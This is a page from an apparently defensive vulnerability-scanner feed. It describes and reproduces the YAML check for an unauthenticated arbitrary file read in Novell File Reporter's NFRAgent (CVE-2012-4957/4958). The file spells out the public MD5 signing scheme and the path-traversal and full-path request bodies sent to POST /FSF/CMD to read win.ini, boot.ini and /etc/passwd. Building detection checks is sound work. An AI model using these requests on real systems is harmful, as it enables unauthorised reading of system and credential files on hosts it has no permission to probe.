Novell File Reporter — 1 vulnerability check

noctis ships 1 vulnerability check for Novell File Reporter, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Novell File Reporter NFRAgent Arbitrary File Read

CVECVE-2012-4956, CVE-2012-4957, CVE-2012-4958, CVE-2012-4959
Severityhigh · CVSS 7.8
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 75
Feedtests/vulnerabilities/novell-file-reporter/nfragent-file-read.yaml

The NFRAgent.exe agent of Novell File Reporter 1.0.2 accepts unauthenticated POST /FSF/CMD records signed with a fixed, publicly known MD5 scheme. An FSFUI record with UICMD 126 and "../" or "..\" sequences in FILE (CVE-2012-4958), or an SRS record with OPERATION 4 / CMD 103 and a full path name in PATH (CVE-2012-4957), returns any file readable by the agent, which runs as SYSTEM. The test sends both records for win.ini, boot.ini and /etc/passwd and confirms the finding when the reply contains the file content and the same record for an absent file in a random missing directory is answered without file content, so a server that answers every request with the same file is not reported. The same agent build is also affected by a heap overflow (CVE-2012-4956) and an arbitrary file upload (CVE-2012-4959), which are not sent.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /FSF/CMD with a crafted body
  3. Checks fsfui_resp.body for <STATUS>0</STATUS>[\s\S]*?<CFILE><!\[CDATA\[[\s\S]*?(root:[^:\r\n]*:0…
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST /FSF/CMD with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks fsfui_hit for ^yes$ → finding QoD 75: Arbitrary file read (CVE-2012-4958) via POST /FSF/CMD FSFUI record … returned file content; the same record for an absent file did not
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request POST /FSF/CMD with a crafted body
  10. Checks srs_resp.body for (root:[^:\r\n]*:0:0:|\[fonts\][\s\S]{0,2000}?\[extensions\]|\[boot lo…
  11. Parses / computes the next value with a Rhai script
  12. HTTP(S) request POST /FSF/CMD with a crafted body
  13. Parses / computes the next value with a Rhai script
  14. Checks srs_hit for ^yes$ → finding QoD 75: Arbitrary file read (CVE-2012-4957) via POST /FSF/CMD SRS record … returned file content; the same record for an absent file did not

References:

Feed source — tests/vulnerabilities/novell-file-reporter/nfragent-file-read.yaml
# Novell File Reporter 1.0.2 — NFRAgent.exe unauthenticated arbitrary file
# read through POST /FSF/CMD (CVE-2012-4957, CVE-2012-4958).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_novell_file_reporter_56579.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103623, GPL-2.0-only).
#
# The agent (default port 3037, TLS) takes a body made of an upper-case
# MD5("SRS" + record + "SERVER") signature followed by an XML record. The
# signature is a fixed scheme, not a secret, so anyone can build a valid one;
# the script step computes it for every record sent.
#
# CVE mapping: the NASL (and the backlog issue) list CVE-2012-4956 (heap
# overflow, VOL elements), 4957, 4958 and 4959 (FSFUI UICMD 130 upload). The
# NASL only probes CVE-2012-4958 (FSFUI record, UICMD 126, ".." in FILE).
# All four are fixed by the same agent update, so they stay in the feed-level
# cves: for tracking, but each finding names only the CVE whose request
# actually returned the file. exclude_cve matches by overlap.
#
# Proof (benign, read-only): read a world-readable OS file and match its
# content — win.ini ([fonts] … [extensions]), boot.ini ([boot loader]) or
# /etc/passwd (root:…:0:0:). Nothing is written; the overflow and the upload
# are never sent.
#
# Beyond the NASL:
#   - CVE-2012-4957 is also probed (SRS record, OPERATION 4 / CMD 103, full
#     path name in PATH — the request of the Metasploit
#     novell_file_reporter_srs_fileaccess module), so an agent where only that
#     handler is reachable is still found;
#   - the FSFUI proof must sit inside the agent's success envelope
#     (<STATUS>0</STATUS> … <CFILE><![CDATA[) and the SRS proof must not be a
#     <RESULT> error envelope, so an error message that quotes the requested
#     path back can't match; win.ini needs both [fonts] and [extensions];
#   - C:\WINNT\win.ini is tried too (Windows 2000 hosts);
#   - absent-file control (#2384): after a read, the same record with a random
#     missing directory inserted before the file (re-signed) must come back
#     without file content (fail closed), so catch-all servers / honeypots are
#     not reported.
# Service names: the agent speaks HTTPS on 3037; with -sV nmap reports it as
# an https service. Without -sV the port shows up as "hp-san-mgmt", which
# would get the http scheme on a TLS port, so that name is not listed.
uid: 36ee7e03-a8e8-48e3-a36d-ff027a269e86
name: "Novell File Reporter NFRAgent Arbitrary File Read (CVE-2012-4957, CVE-2012-4958)"
description: |
  The NFRAgent.exe agent of Novell File Reporter 1.0.2 accepts unauthenticated
  POST /FSF/CMD records signed with a fixed, publicly known MD5 scheme. An FSFUI
  record with UICMD 126 and "../" or "..\" sequences in FILE (CVE-2012-4958),
  or an SRS record with OPERATION 4 / CMD 103 and a full path name in PATH
  (CVE-2012-4957), returns any file readable by the agent, which runs as
  SYSTEM. The test sends both records for win.ini, boot.ini and /etc/passwd and
  confirms the finding when the reply contains the file content and the same
  record for an absent file in a random missing directory is answered without
  file content, so a server that answers every request with the same file is
  not reported. The same agent
  build is also affected by a heap overflow (CVE-2012-4956) and an arbitrary
  file upload (CVE-2012-4959), which are not sent.
cves: [CVE-2012-4956, CVE-2012-4957, CVE-2012-4958, CVE-2012-4959]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [novell, file-reporter, nfragent, microfocus, path-traversal, file-read, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4956"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4957"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4958"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-4959"
  - "https://www.rapid7.com/blog/post/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959/"
  - "https://www.securityfocus.com/bid/56579"

steps:
  # Group 1 — CVE-2012-4958: FSFUI record, UICMD 126, traversal in FILE
  # (the NASL's request: 9 x "..\" for Windows files, 14 x "../" for passwd).
  # The set_var carries the loop so every iteration starts from a clean
  # result: a failed request must not leave a previous reply (or nothing at
  # all) in fsfui_resp.
  - id: fsfui-reset
    action: set_var
    var_name: fsfui_resp
    var_value: {status: 0, body: ""}
    loop:
      var: record
      over:
        - '<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>..\..\..\..\..\..\..\..\..\windows/win.ini</FILE></RECORD>'
        - '<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>..\..\..\..\..\..\..\..\..\boot.ini</FILE></RECORD>'
        - '<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>..\..\..\..\..\..\..\..\..\winnt/win.ini</FILE></RECORD>'
        - '<RECORD><NAME>FSFUI</NAME><UICMD>126</UICMD><FILE>../../../../../../../../../../../../../../etc/passwd</FILE></RECORD>'

  - id: fsfui-ctrl-reset
    action: set_var
    var_name: fsfui_ctrl
    var_value: {status: 0, body: ""}

  - id: fsfui-hit-reset
    action: set_var
    var_name: fsfui_hit
    var_value: ""

  - id: fsfui-clean-reset
    action: set_var
    var_name: fsfui_clean
    var_value: false

  - id: fsfui-sign
    action: script
    store_as: fsfui_sig
    code: |
      toupper(md5("SRS" + record + "SERVER"))

  - id: fsfui-probe
    action: http_request
    method: POST
    path: "/FSF/CMD"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml"
    body: "{{fsfui_sig}}{{record}}"
    store_as: fsfui_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: fsfui-match
    action: match
    condition: "fsfui_resp.status == 200"
    source: fsfui_resp.body
    pattern: "<STATUS>0</STATUS>[\\s\\S]*?<CFILE><!\\[CDATA\\[[\\s\\S]*?(root:[^:\\r\\n]*:0:0:|\\[fonts\\][\\s\\S]{0,2000}?\\[extensions\\]|\\[boot loader\\])"
    on_match:
      set_vars:
        fsfui_hit: "yes"

  # Control: the same record with a random missing directory inserted before
  # the file (same separator, same file name), signed the same way, so a
  # server that keys a fake file on that name answers it too. The agent
  # answers with an error envelope.
  - id: fsfui-control-record
    action: script
    condition: 'fsfui_hit != ""'
    code: |
      let r = ereg_replace("^(.*?)(/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", record, true);
      #{ record: r, sig: toupper(md5("SRS" + r + "SERVER")) }
    store_as: fsfui_crec

  - id: fsfui-control
    action: http_request
    method: POST
    path: "/FSF/CMD"
    port: "{{port}}"
    condition: 'fsfui_hit != ""'
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml"
    body: "{{fsfui_crec.sig}}{{fsfui_crec.record}}"
    store_as: fsfui_ctrl

  # Fail closed: the control must have been answered, without any file content.
  - id: fsfui-control-verdict
    action: script
    condition: 'fsfui_hit != ""'
    code: |
      fsfui_ctrl.status != 0 && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]", fsfui_ctrl.body)
    store_as: fsfui_clean

  - id: fsfui-report
    action: match
    source: fsfui_hit
    pattern: "^yes$"
    condition: "fsfui_clean == true"
    on_match:
      finding:
        cves: [CVE-2012-4958]
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read (CVE-2012-4958) via POST /FSF/CMD FSFUI record {{record}} returned file content; the same record for an absent file did not"
      stop: true

  # Group 2 — CVE-2012-4957: SRS record, OPERATION 4 / CMD 103, full path
  # name in PATH; the agent answers with the raw file bytes.
  - id: srs-reset
    action: set_var
    var_name: srs_resp
    var_value: {status: 0, body: ""}
    loop:
      var: record
      over:
        - '<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>c:\windows\win.ini</PATH></RECORD>'
        - '<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>c:\boot.ini</PATH></RECORD>'
        - '<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>c:\winnt\win.ini</PATH></RECORD>'
        - '<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>/etc/passwd</PATH></RECORD>'

  - id: srs-ctrl-reset
    action: set_var
    var_name: srs_ctrl
    var_value: {status: 0, body: ""}

  - id: srs-hit-reset
    action: set_var
    var_name: srs_hit
    var_value: ""

  - id: srs-clean-reset
    action: set_var
    var_name: srs_clean
    var_value: false

  - id: srs-sign
    action: script
    store_as: srs_sig
    code: |
      toupper(md5("SRS" + record + "SERVER"))

  - id: srs-probe
    action: http_request
    method: POST
    path: "/FSF/CMD"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml"
    body: "{{srs_sig}}{{record}}"
    store_as: srs_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: srs-match
    action: match
    # A <RESULT> envelope is the agent's error / status reply, never the file.
    condition: "srs_resp.status == 200 && !srs_resp.body.contains(\"<RESULT>\")"
    source: srs_resp.body
    pattern: "(root:[^:\\r\\n]*:0:0:|\\[fonts\\][\\s\\S]{0,2000}?\\[extensions\\]|\\[boot loader\\])"
    on_match:
      set_vars:
        srs_hit: "yes"

  # Control: the same record with a random missing directory inserted before
  # the file (same separator, same file name), signed the same way, so a
  # server that keys a fake file on that name answers it too. The agent
  # answers with an error envelope.
  - id: srs-control-record
    action: script
    condition: 'srs_hit != ""'
    code: |
      let r = ereg_replace("^(.*?)(/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", record, true);
      #{ record: r, sig: toupper(md5("SRS" + r + "SERVER")) }
    store_as: srs_crec

  - id: srs-control
    action: http_request
    method: POST
    path: "/FSF/CMD"
    port: "{{port}}"
    condition: 'srs_hit != ""'
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml"
    body: "{{srs_crec.sig}}{{srs_crec.record}}"
    store_as: srs_ctrl

  # Fail closed: the control must have been answered, without any file content.
  - id: srs-control-verdict
    action: script
    condition: 'srs_hit != ""'
    code: |
      srs_ctrl.status != 0 && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]", srs_ctrl.body)
    store_as: srs_clean

  - id: srs-report
    action: match
    source: srs_hit
    pattern: "^yes$"
    condition: "srs_clean == true"
    on_match:
      finding:
        cves: [CVE-2012-4957]
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read (CVE-2012-4957) via POST /FSF/CMD SRS record {{record}} returned file content; the same record for an absent file did not"
      stop: true

View these feeds on GitHub